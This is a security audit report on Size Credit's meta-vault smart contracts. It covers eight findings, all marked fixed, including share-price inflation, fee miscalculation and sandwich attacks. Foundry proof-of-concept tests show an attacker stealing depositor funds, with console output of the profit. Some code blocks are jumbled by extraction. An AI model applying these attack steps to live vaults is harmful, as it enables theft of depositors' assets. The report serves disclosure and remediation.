

Size Credit Security Review

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Introduction

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Audit Overview

Size Credit is a fixed-rate credit marketplace built on an order book where offers are expressed like yield curves, allowing efficient and continuous pricing across markets and maturities.

Size Credit engaged Obsidian Audits to perform a security review on their Meta-vault and strategies smart contracts. The 3-day review took place from the 24th to the 26th of July, 2025.

Scope

Files in scope

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size-meta-vault	
Commit hash: 6f15daffd3c905de814933f049 0832c33ce3a242	src/**/*.sol

Summary of Findings

Severity Breakdown

A total of 8 issues were identified and categorized based on severity:

- 1 Critical severity
- 2 High severity
- 4 Medium severity
- 1Low severity

Findings Overview

ID	Title	Severity	Status
C-01	Incorrect calculation of `totalAssets()` in the meta vault enables stealing of depositor funds	Critical	Fixed
H-01	Setting the performance fee after users have deposited, will steal a portion of the existing deposits	High	Fixed
H-02	The `removeStrategies` function can be sandwiched to manipulate price-per-share and steal deposited assets	High	Fixed
M-01	Incorrect amount of shares are minted to the fee recipient	Medium	Fixed
M-02	Upon deposits, totalAssets() is stale during performance fee calculation	Medium	Fixed
M-03	`skim`, and `rebalance` (from a removed strategy) can be sandwiched to steal most of the newly added assets	Medium	Fixed
M-04	Depositing and withdrawing will fail if even one strategy cannot be deposited into or withdrawn from	Medium	Fixed
L-01	The `upgradeToAndCall` function does not have any timelock protection	Low	Fixed

Severity Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Info

Impact

- **High** leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- **Medium -** leads to a moderate material loss of assets in the protocol or moderately harms a group of users. Alternatively, breaking a core aspect of the protocol's intended functionality
- Low leads to a minor material loss of assets in the protocol or harms a small group of users.

Likelihood

- High attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium the attack/vulnerability requires minimal or no preconditions, but there is limited or no incentive to exploit it in practice
- Low requires highly unlikely precondition states, or requires a significant attacker capital with little or no incentive.

Findings

[C-01] Incorrect calculation of `totalAssets()` in the meta vault enables stealing of depositor funds

Description

In the SizeMetaVault, the totalAssets() function is as follows:

```
/// @notice Returns the total assets managed by the vault
// slither-disable-next-line calls-loop
function totalAssets() public view virtual override(ERC4626Upgradeable,
IERC4626) returns (uint256 total) {
    uint256 length = strategies.length;
    for (uint256 i = 0; i < length; i++) {
        total += strategies[i].totalAssets();
    }
}</pre>
```

The issue is that it sums the <code>totalAssets()</code> for each strategy, but this can include assets which are not actually managed/owned by the meta vault. If assets are directly deposited into an underlying strategy (without going through the meta vault), it increases the <code>totalAssets()</code> of the <code>SizeMetaVault</code>, without changing the <code>totalSupply()</code>.

This means that depositing directly into an underlying strategy will immediately increase the priceper-share of the meta vault. An attacker can exploit this in the following way:

- 1. Deposit into the meta vault to mint shares at the original rate
- 2. Deposit into one of the underlying strategies, increasing the meta vault's share price
- 3. Redeem the attacker's inflated meta vault shares, withdrawing more assets than were deposited in step 1
- 4. Withdraw assets from the underlying strategy (same number as what was deposited in step 2)

The attacker earns a profit due to step 3, they extract value from existing depositors.

Proof of Concept

Add the following test to test/local/SizeMetaVault.t.sol:

```
function test_POC_deposit_directly_to_strategy() public {
    address attacker = makeAddr("attacker");
   uint256 depositAmount = 100_000e6; // 100k USDC
   _mint(erc20Asset, alice, depositAmount);
   approve(alice, erc20Asset, address(sizeMetaVault), depositAmount);
    uint256 aliceBalanceBefore = erc20Asset.balanceOf(alice);
   vm.prank(alice);
    sizeMetaVault.deposit(depositAmount, alice);
   _mint(erc20Asset, attacker, depositAmount*2);
    _approve(attacker, erc20Asset, address(erc4626StrategyVault),
depositAmount);
    _approve(attacker, erc20Asset, address(sizeMetaVault),
depositAmount);
   uint256 attackerBalanceBefore = erc20Asset.balanceOf(attacker);
   // Perform the 4-step attack
    vm.startPrank(attacker);
    uint256 shares = sizeMetaVault.deposit(depositAmount, attacker); //
deposit into metavault at normal share price
    console.log("[before inflating] pricePerShare: %e",
sizeMetaVault.totalAssets() * 1e6 / sizeMetaVault.totalSupply());
    erc4626StrategyVault.deposit(depositAmount, attacker); // deposit
into underlying strategy to inflate meta vault share price
    console.log("[after inflating] pricePerShare: %e",
sizeMetaVault.totalAssets() * 1e6 / sizeMetaVault.totalSupply());
    sizeMetaVault.redeem(shares, attacker, attacker); // redeem meta
vault shares at higher share price
    erc4626StrategyVault.withdraw(depositAmount, attacker, attacker); //
withdraw from underlying strategy to get back USDC
    console.log("attackerBalance: %e", erc20Asset.balanceOf(attacker));
    console.log("sizeMetaVault.totalAssets(): %e",
sizeMetaVault.totalAssets());
    console.log("sizeMetaVault.totalSupply(): %e",
sizeMetaVault.totalSupply());
```

```
vm.startPrank(alice);
sizeMetaVault.redeem(sizeMetaVault.balanceOf(alice), alice, alice);
uint256 aliceBalanceAfter = erc20Asset.balanceOf(alice);
assertGt(aliceBalanceBefore, aliceBalanceAfter);
assertGt(erc20Asset.balanceOf(attacker), attackerBalanceBefore);
assertEq(sizeMetaVault.balanceOf(alice), 0);
assertEq(sizeMetaVault.balanceOf(attacker), 0);
console.log("alice loss: %e", aliceBalanceBefore -
aliceBalanceAfter);
console.log("attacker profit: %e", erc20Asset.balanceOf(attacker) -
attackerBalanceBefore);
}
```

Console output:

```
[PASS] test_POC_deposit_directly_to_strategy() (gas: 1232967)
Logs:
    [before inflating] pricePerShare: 1.9999999e6
    [after inflating] pricePerShare: 2.999699e6
    attackerBalance: 2.49985004498e11
    sizeMetaVault.totalAssets(): 5.0074995503e10
    sizeMetaVault.totalSupply(): 5.0030001667e10
    alice loss: 4.9955031479e10
    attacker profit: 4.9985004498e10
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.43ms
(1.85ms CPU time)
```

Recommendation

Ensure that SizeMetaVault.totalAssets() only includes assets owned by the meta vault:

```
function totalAssets() public view virtual override(ERC4626Upgradeable,
IERC4626) returns (uint256 total) {
    uint256 length = strategies.length;
    for (uint256 i = 0; i < length; i++) {
        total += strategies[i].totalAssets();
        total +=
    strategies[i].convertToAssets(strategies[i].balanceOf(address(this)));
    }
}</pre>
```

Remediation: Fixed in commit 1d161af

[H-01] Setting the performance fee after users have deposited, will steal a portion of the existing deposits

Description

If the existing performanceFeePercent is 0 and it is later updated to a non-zero value, the highwaterMark is not updated to the current price per share (PPS).

As a result, the next _update call interprets all existing deposits as "profit" because the stored highWaterMark is 0. This causes the vault to mint performanceFeePercent worth of shares to the fee recipient, even though no actual profit has been generated, diluting existing depositors and effectively stealing a portion of their assets.

Proof of Concept

Add the following test to PerformanceVaultTest

```
function
test_PerformanceVault_setting_fee_later_steals_from_existing_depositors()
public {
   // Alice deposits 6e7
   _deposit(alice, sizeMetaVault, 6e7);
    // Log admin shares before setting the fee
    uint256 sharesBefore = sizeMetaVault.balanceOf(admin);
    console.log("Admin shares before: %e", sharesBefore);
    // Set performance fee of 10%
    vm.prank(admin);
    sizeMetaVault.setPerformanceFeePercent(0.1e18);
    uint256 setPerformanceFeePercentTimelockDuration =
 sizeMetaVault.getTimelockData(sizeMetaVault.setPerformanceFeePercent.sel
ector).duration;
    vm.warp(block.timestamp + setPerformanceFeePercentTimelockDuration);
    vm.prank(admin);
    sizeMetaVault.setPerformanceFeePercent(0.1e18);
    // Alice deposits 1 wei
   _deposit(alice, sizeMetaVault, 1);
```

```
// Log admin shares after setting the fee
uint256 sharesAfter = sizeMetaVault.balanceOf(admin);
console.log("Admin shares after: %e", sharesAfter);

// Assert that the admin was minted shares
// Even though the vault has not generated any profit, the admin gets
a portion of existing deposits
assertGt(sharesAfter, sharesBefore);
}
```

Console output:

```
Ran 1 test for test/local/PerformanceVault.t.sol:PerformanceVaultTest
[PASS]
test_PerformanceVault_setting_fee_later_steals_from_existing_depositors()
(gas: 794492)
Logs:
   Admin shares before: 0e0
   Admin shares after: 1.2e7
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.43ms
(1.50ms CPU time)
```

Recommendation

In the _setPerformanceFeePercent() function, if the performanceFeePercentBefore is 0, it
should also update the highWaterMark to the current PPS

```
function _setPerformanceFeePercent(uint256 performanceFeePercent_)
internal {
    if (performanceFeePercent_ > MAXIMUM_PERFORMANCE_FEE_PERCENT) {
        revert PerformanceFeePercentTooHigh(performanceFeePercent_,
MAXIMUM_PERFORMANCE_FEE_PERCENT);
    }
    uint256 performanceFeePercentBefore = performanceFeePercent;

+    if (performanceFeePercentBefore == 0 && performanceFeePercent_ >
0) {
        highWaterMark = Math.mulDiv(totalAssets(), PERCENT, totalSupply());
        }
        performanceFeePercent = performanceFeePercent_;
        emit PerformanceFeePercentSet(performanceFeePercentBefore, performanceFeePercent_);
}
```

Remediation: Fixed in commit b5cc15a

[H-02] The `removeStrategies` function can be sandwiched to manipulate price-per-share and steal deposited assets

Description

In the removeStrategies() function, the contract calls <code>maxWithdraw()</code> on each strategy and withdraws exactly that amount before removing the strategy:

```
uint256 maxWithdrawAmount = strategyToRemove.maxWithdraw(address(this));
if (maxWithdrawAmount > 0) {
    strategyToRemove.withdraw(maxWithdrawAmount, address(this),
    address(this));
}
_removeStrategy(strategyToRemove);
```

If the strategy is one that deposits assets into a lending market, an attacker can **frontrun the strategist's call** to removeStrategies() by borrowing all available assets from the lending market, causing maxWithdraw() to return 0.

This results in **no assets being withdrawn** before the strategy is removed. The attacker will then immediately repay the large borrow after the removeStrategies() call occured.

As a consequence:

- 1. The vault's totalAssets() drops significantly since the strategy is removed without retrieving its funds, lowering the PPS (price-per-share).
- 2. The attacker will then deposit a large amount of assets at this low PPS.
- 3. Later, when the strategist calls <code>rebalance()</code> from the removed strategy (to an existing one), the recovered assets significantly increase <code>totalAssets()</code>, increasing the PPS.
- 4. The attacker redeems their shares at the higher PPS, stealing a significant amount of assets.

Recommendation

Consider adding a maximum slippage percentage to removeStrategies() to ensure that the call will revert if there is sufficiently low liquidity in the strategy.

Remediation: Fixed in commit de79b93

[M-01] Incorrect amount of shares are minted to the fee recipient

Description

The fee recipient should be minted an amount of shares that will redeem to performanceFeePercent of the profit generated by the vault.

In _update , the number of shares minted to the fee recipient is miscalculated. The function first calculates profitPerSharePercent as currentPPS - highWaterMark , which represents the profit per share in asset units scaled by 1e18 . It then uses this value in the following line:

```
uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
```

The issue is that profitPerSharePercent is denominated in assets, and multiplying it by totalSupply() produces an **asset amount**, not a share amount as the variable name totalProfitShares suggests. This asset-denominated value is then passed into the next calculation for feeShares, which is minted to the fee recipient:

```
uint256 feeShares = Math.mulDiv(totalProfitShares, performanceFeePercent,
PERCENT);
```

As a result the fee recipient is minted significantly more shares than they should for the profit generated.

Proof of Concept

Add the following test to Performance Vault.t.sol.

The test fails due to asserting the value of the minted fees, and passes once the recommended fix is applied.

```
function test_PerformanceVault_incorrect_fee_minting() public {
    // Set performance fee of 10%
    vm.prank(admin);
    sizeMetaVault.setPerformanceFeePercent(0.1e18);
```

```
uint256 setPerformanceFeePercentTimelockDuration =
 sizeMetaVault.getTimelockData(sizeMetaVault.setPerformanceFeePercent.sel
ector).duration;
vm.warp(block.timestamp + setPerformanceFeePercentTimelockDuration);
vm.prank(admin);
sizeMetaVault.setPerformanceFeePercent(0.1e18);
// Donate 30e6 to the vault
uint256 donationAmount = 30e6;
_mint(erc20Asset, alice, donationAmount);
vm.prank(alice);
erc20Asset.transfer(address(sizeMetaVault), donationAmount);
// Call skim on the vault
sizeMetaVault.skim();
// Alice deposits 1 wei to trigger fee minting on the donated amount
_deposit(alice, sizeMetaVault, 1);
// Check fee recipient's shares
uint256 feeRecipientShares =
sizeMetaVault.balanceOf(sizeMetaVault.feeRecipient());
console.log("Fee recipient shares: %e", feeRecipientShares);
// Preview redeem those shares
uint256 previewRedeemAmount =
sizeMetaVault.previewRedeem(feeRecipientShares);
console.log("Preview redeem fee recipient shares: %e",
previewRedeemAmount);
// Log total assets after everything is done
uint256 finalTotalAssets = sizeMetaVault.totalAssets();
console.log("Final total assets: %e", finalTotalAssets);
// Assert that the fee recipient is minted enough shares to withdraw 10%
of the profit == 3e6
// Note: fails before fixing bug (M-01)
assertApproxEqAbs(previewRedeemAmount, donationAmount * 1 / 10, 0.001e6);
}
```

Recommendation

The <u>_update</u> function should convert the total profit (in asset units) into shares before minting it to the fee recipient

```
uint256 currentPPS = Math.mulDiv(totalAssets(), PERCENT, totalSupply());
uint256 highWaterMarkBefore = highWaterMark;
if (currentPPS > highWaterMarkBefore) {
         uint256 profitPerSharePercent = currentPPS -
highWaterMarkBefore;
         uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
         uint256 feeShares = Math.mulDiv(totalProfitShares,
performanceFeePercent, PERCENT);
         uint256 profitPerSharePercent = currentPPS -
highWaterMarkBefore;
+
         uint256 totalProfitAssets = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
         uint256 feeAssets = Math.mulDiv(totalProfitAssets,
performanceFeePercent, PERCENT);
         uint256 feeShares = Math.mulDiv(feeAssets, totalSupply() + 10 **
_decimalsOffset(), totalAssets() + 1 - feeAssets);
```

Remediation: Fixed in commit 1b1da41

[M-02] Upon deposits, total Assets () is stale during performance fee calculation

Description

The ERC20::_update() function is overriden in the PerformanceVault to take a fee on profits earned by the vault:

```
function _update(address from, address to, uint256 value) internal
override {
    super._update(from, to, value);
    if (performanceFeePercent == 0) {
        return:
    }
    uint256 currentPPS = Math.mulDiv(totalAssets(), PERCENT,
totalSupply());
    uint256 highWaterMarkBefore = highWaterMark;
    if (currentPPS > highWaterMarkBefore) {
        uint256 profitPerSharePercent = currentPPS - highWaterMarkBefore;
        uint256 totalProfitShares = Math.mulDiv(profitPerSharePercent,
totalSupply(), PERCENT);
        uint256 feeShares = Math.mulDiv(totalProfitShares,
performanceFeePercent, PERCENT);
        if (feeShares > 0) {
            highWaterMark = currentPPS;
            emit HighWaterMarkUpdated(highWaterMarkBefore, currentPPS);
            _mint(feeRecipient, feeShares);
            emit PerformanceFeeMinted(feeRecipient, feeShares,
convertToAssets(feeShares));
    }
```

The _deposit() function first calls super._deposit() (which calls _update()), and then deposits the received assets into the underlying strategies:

```
/// @notice Deposits assets to strategies in order
/// @dev Tries to deposit to strategies sequentially, reverts if not all
assets can be deposited
function _deposit(address caller, address receiver, uint256 assets,
uint256 shares) internal override {
   if (_isInitializing()) {
        // first deposit
        shares = assets;
   }
   super._deposit(caller, receiver, assets, shares); //@audit this calls
`_update()`
   _depositToStrategies(assets, shares);
}
```

Since _deposit() mints shares to the receiver, it will increase the totalSupply() of the vault, and also call the overriden _update() function.

The issue is that during <code>_update()</code>, <code>_depositToStrategies()</code> has not been called yet, so <code>totalAssets()</code> will not be up to date (since <code>totalAssets()</code> sums the total assets deposited into the strategies).

Impact

Upon deposits, the currentPPS calculated in _update() will be artificially deflated, due to totalSupply() including the minted shares, but totalAssets() not including the deposited assets. This will cause fee to not accrue on occasions when it should.

Recommendation

Consider handling the performance fee accrual at the start of any deposit/withdraw/mint/redeem action, before any state has changed (instead of doing so in _update())

Remediation: Fixed in commit 202e82b

[M-03] `skim`, and `rebalance` (from a removed strategy) can be sandwiched to steal most of the newly added assets

Description

Calling skim() or rebalance() (when rebalancing from a removed strategy to an existing one) increases the vault's totalAssets() without minting new shares. This raises the price-per-share (PPS).

An attacker can sandwich these calls for a profit:

- 1. Frontrun and deposit a large amount of assets, minting shares at the current lower PPS.
- 2. skim() or rebalance() (from a removed strategy) is executed, increasing total Assets and thus PPS.
- 3. Redeem all shares at the now increased PPS, profiting a significant portion of the assets contributed to the vault during skim() or rebalance().

Recommendation

Remediation: Fixed in commit 2b70027

[M-04] Depositing and withdrawing will fail if even one strategy cannot be deposited into or withdrawn from

Description

The _depositToStrategies() and _withdrawFromStrategies() functions iterate across the array of strategies and attempt to withdraw from them.

The intended functionality is to deposit/withdraw as much as possible, and then move onto the next one if there are still more assets to process.

The issue is the following:

```
uint256 depositAmount = Math.min(assetsToDeposit, strategyMaxDeposit);

// slither-disable-next-line incorrect-equality
if (depositAmount == 0) {
    break;
}
```

If the available amount to deposit in a specific strategy is 0, rather than moving on to the next strategy, the loop is exited. As a result, the deposit will revert due to the following check:

```
if (assetsToDeposit > 0) {
    revert CannotDepositToStrategies(assets, shares, assetsToDeposit);
}
```

The same error arises in _withdrawFromStrategies()

Recommendation

Rather than exiting the loop, use continue to move on to the next strategy in the array.

Remediation: Fixed in commit a602b63

[L-01] The `upgradeToAndCall` function does not have any timelock protection

Description

The setPerformanceFeePercent function is gated by a timelock to prevent the DEFAULT_ADMIN_ROLE from instantly increasing fees.

However, the inherited upgradeToAndCall function from UUPSUpgradeable has no timelock protection. Therefore the DEFAULT_ADMIN_ROLE can upgrade the implementation to code that includes a different setPerformanceFeePercent function without a timelock, to instantly increase it, effectively bypassing the protections intended by the existing timelock.

Recommendation

Consider enforcing a timelock in the _authorizeUpgrade function:

```
function _authorizeUpgrade(address newImplementation) internal override
onlyAuth(DEFAULT_ADMIN_ROLE) {
+    if (_updateTimelockStateAndCheckIfTimelocked()) {
+       return;
    }
}
```

Remediation: Fixed in commit 69414ff